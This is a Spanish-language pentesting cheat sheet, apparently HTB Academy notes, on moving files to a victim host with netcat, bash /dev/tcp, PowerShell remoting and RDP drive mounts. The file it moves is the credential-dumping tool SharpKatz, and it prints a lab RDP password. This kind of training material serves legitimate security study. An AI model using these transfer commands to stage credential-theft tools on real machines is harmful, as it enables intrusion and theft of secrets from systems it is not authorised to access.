NC / RDP / Powershell Session

Netcat / Ncat

Máquina víctima escuchando por un puerto
terminal
$ nc -l -p 8000 > SharpKatz.exe$ ncat -l -p 8000 --recv-only > SharpKatz.exe
Máquina atacante envía el archivo
terminal
$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe$ ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
La opción -q 0 cierra la conexion una vez se acabe de enviar el archivo. La opción --send-only asegura que Ncat termine la conexión al agotar el input

Escenario: atacante escuchando y víctima conectándose

Atacante escuchando:
terminal
$ sudo nc -l -p 443 -q 0 < SharpKatz.exe$ sudo ncat -l -p 443 --send-only < SharpKatz.exe
Víctima conectándose:
terminal
$ nc 192.168.49.128 443 > SharpKatz.exe$ ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

Usando /dev/tcp (víctima)

terminal
$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

Powershell Session

Requisitos: WinRM habilitado, privilegios adecuados, puertos TCP/5985 (HTTP) o TCP/5986 (HTTPS).
  • Verificar conectividad con WinRM
powershell
Test-NetConnection -ComputerName DATABASE01 -Port 5985
  • Crear una sesión remota
powershell
$Session = New-PSSession -ComputerName DATABASE01
  • Transferir archivos con Copy-Item
powershell
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
  • Opciones adicionales
powershell
Get-PSSession
Remove-PSSession -Session $Session

RDP

Montamos un recurso local con xfreerdp usando el flag /drive
terminal
$ xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
En la máquina remota, accede al recurso a través de \tsclientlinux